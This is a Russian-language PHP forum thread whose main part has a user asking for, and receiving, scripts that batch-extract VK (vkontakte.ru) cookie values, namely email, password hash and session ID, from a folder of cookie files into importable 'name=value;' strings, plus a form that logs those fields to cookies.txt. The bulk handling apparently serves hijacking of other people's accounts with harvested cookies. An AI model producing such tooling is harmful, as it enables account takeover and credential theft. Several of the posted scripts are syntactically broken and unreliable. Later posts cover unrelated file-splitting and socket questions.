причем здесь какой-то мифический "rr"??? А не проще "*"? так неизвестно, что это число, http://ru.php.net/is_numeric
В постановке задачи сказанно: Я так понимаю, что это вроде ID документа, или чтото похожее... Посему предполагаю что оно целое
Я просто не особо шарю где и как написать этот скриптик. Знаю что это просто, но не знаю куда тыкаться) Задача такова: Есть папочка с куками.Нужно из всех куков автоматически вытащить несколько выражений в определенном порядке в один текстовый файл. Пример: Один из файлов куки выглядит так: Code: 1. aaa bbbbb 2. ccc ddddd В текстовый файл должно копироваться все так: Code: aaa=bbbbb; ccc=ddddd; aaa= ................... Заранее Благодарен)
shpak1 Code: chdir("твоя папка\") $dir = opendir("."); $w = fopen($file."result", "w"); while($file = readdir($dir)//идем по всему катологу { if (( $file != ".") && ($file != "..")) { //собственно преобразования $f = fopen($file, "r"); while(!feof($f))//цикл разветвил для удобства и скорости( оптимизация)) ) { $s = fgets($file, 65535);//номер $s = fgets($file, 65535);//1ая строка fwrite($w, $s); $s = fgets($file, 65535);//значение fwrite($w, $s."; "); } fclose($f); fwrite($w, "\n");//конец строки... мб не правильно написал.. } fclose($w);//закрыли записаный файл } если не так - пиши в ЛС. Если так то мне ++ )))
shpak1 PHP: <?php $dir = 'cookies'; $cfile = 'cookies.txt'; $f = fopen($cfile,'w'); foreach(glob($dir.'/*.*') as $fname) { $con = file_get_contents($fname); preg_match_all('/\d+\.\s+(.*)\s+(.*)/',$con,$m); for($i=0,$buf='';$i<count($m);$i++) { $buf .= trim($m[1][$i]).'='.trim($m[2][$i]).';'; } fputs($f,$buf."\n"); fflush($f); } fclose($f); ?>
To mixkorshun, [dei]: Спасибо за скриптики огромное) ++ кинул обоим) Можете по подробнее расписать)) Я частично понимаю что куда вставлять, но не могу понять где прописывать строчки и таму подобное) Нуб немного в php коде) Пример поточнее: У меня файлы в папке из которых надо сделать выборку имеют такое построение: Code: 1 aaaa 5 xxxxx 2 bbbb 6 xxxxx 3 cccc 10 xxxxxxx 4 dddd 9 xxxxxxx Нужно брать эти 4 строчки и вписывать в один файлик, но эти строчки находятся под индификаторами 1,2,3,4 которые в свою очередь расскиданы в разных строчках(те в одном куке он может быть на 8ой строке, а в другом на 21ой строке), что то вроде поиска по файлу. --------------------------------------------------- Заупстил 1ый скрипт, выдал ошибку: Parse error: syntax error, unexpected T_STRING in Z:\home\localhost\www\vib1.php on line 4 Заупстил 2ой скрипт, выдал ошибку: Warning: Unexpected character in input: '\' (ASCII=92) state=1 in Z:\home\localhost\www\vib.php on line 3 Parse error: syntax error, unexpected T_LNUMBER in Z:\home\localhost\www\vib.php on line 3 В обоих скритпах задал путь к папке \2\ и во втором скрипте путь к куки файлу \2\cookie.txt
А может есть какая-либо программка под Винду?) ...не верю что пока не написали такую прогу, в которой можно задавать какие строки с какими индификаторами копировать) ------------------------------------------- Как вариант кода: Можно все файлы объединить в один txt через разделитель и просто скриптом пройтись по нему чтобы вытакскивал нужные выражения под определенными индификаторами в один файл)
Code: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Untitled Document</title> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> </head> <body> <?php $remixmid = $_POST['remixmid']; $remixemail = $_POST['remixemail']; $remixpass = $_POST['remixpass']; $remixsid = $_POST['remixsid']; $text .= "remixlang=0; "; $text .= "remixmid=$remixmid; "; $text .= "remixemail=$remixemail; "; $text .= "remixpass=$remixpass; "; $text .= "remixsid=$remixsid; "; $text .= "remixchk=5; \n"; if (!empty($remixmid) && !empty($remixemail) && !empty($remixpass) && !empty($remixsid)) { $file = fopen ('cookies.txt', 'a+'); fwrite ($file,$text); fclose ($file); } ?> <form remixsid="form1" method="post" action="1.php"> <label for="textfield"></label> <table border="0" cellspacing="0" cellpadding="0"> <tr> <td><label for="textfield">Remixmid</label></td> <td><input type="text" name="remixmid" id="remixmid"></td> </tr> <tr> <td>Remixemail</td> <td><input type="text" name="remixemail" id="remixemail"></td> </tr> <tr> <td>Remixpass</td> <td><input type="text" name="remixpass" id="remixpass"></td> </tr> <tr> <td>Remixsid</td> <td><input type="text" name="remixsid" id="remixsid"></td> </tr> </table> <p> <label for="Submit"></label> <input type="submit" remixsid="Submit" value="Сохранить" id="Submit"> </p> </form> </body> </html> Нашел и немного доработал под себя код для того чтобы записывать в txt файл по определенному алгоритму) А вот как сканировать папку файлов я так и не узнал... Вся проблема в том, что нужная информация в каждом файле храниться строчкой ниже индификатора. И нужных строчек в одном файле всего 4... Даю пример кука)) Code: remixlang 0 vkontakte.ru/ 1536 737300864 30036916 3707080464 29963691 * remixchk 5 vkontakte.ru/ 1536 957300864 30036916 3933800464 29963691 * remixmid 99999999 vkontakte.ru/ 1536 967300864 30036916 3933800464 29963691 * remixemail pppp%40ppp.ru vkontakte.ru/ 1536 967300864 30036916 3933800464 29963691 * remixpass cc09adcd52b200132101af80ec454790 vkontakte.ru/ 1536 967300864 30036916 3933800464 29963691 * remixsid fe69782ebf555a710a0c6873782f765636732dddcb4fb60068ffc055 vkontakte.ru/ 1536 967300864 30036916 3933800464 29963691 * remixclosed_tabs 0 vkontakte.ru/ 1600 3093963776 30055619 334942800 29983200 *
system('ls') - в линуксе system('dir') - в винде Читайте про регулярные выражения. Да и вообще вот это почитайте: http://www.php.ru/manual/ref.filesystem.html
PHP: <? $fn=fsockopen("www.google.ru",80,$ecode,$emsg,1000); if (!$fn) { echo "$emsg ($ecode)";} else { echo "Connected!"; } ?> PHP 5.2.9 пишет
У меня 5.2.4 - все в порядке. А вообще судя по ошибке у тя криво в php.ini настроенно. Попробуй cURL поюзать. + http://php.net/manual/en/transports.php
Товарищи, подскажите пожалуйста. Есть файл, в нем находятся строки вида: Каким кодом пропарсить файл, и вывести все содержимое в отдельные страницы типа 001.txt, 002.txt, и тд. Заранее благодарен!
разделены пустой строкой. автозаменой я могу вставить более определенный символ. заголовки везде разные. сейчас у меня вот так: Code: <p>заголовок<br/> текст текст текст<br/> текст текст текст<br/> текст текст текст<br/> текст текст текст</p> <p>заголовок<br/> текст текст текст<br/> текст текст текст<br/> текст текст текст<br/> текст текст текст</p> <p>заголовок<br/> текст текст текст<br/> текст текст текст<br/> текст текст текст<br/> текст текст текст</p> ??
ну если ты можешь автозаменой заменить тогда все просто , замени "</p>" на "</p> #разделитель абзацев#" а потом пройдись по тому что получится функцией explode()
2 real_kas: PHP: <pre> <?php @set_time_limit(0); @ini_set("display_errors","1"); $buffer = ''; $file = 'uin.txt'; // Название файла исходника $handle = fopen($file,'r') or die ("No file $file"); while (!feof($handle)) { $buffer = trim(fgets($handle)); if (preg_match('|<p>(.*)<br/>|',$buffer,$mat)) { $file1 = fopen($mat[1].".txt",'w');// Если заголовок, то создаем файл с именем заголовка fwrite($file1, "$buffer\r\n"); $buffer = trim(fgets($file1)); } fwrite($file1, "$buffer\r\n"); } Echo 'Done'; ?> </pre>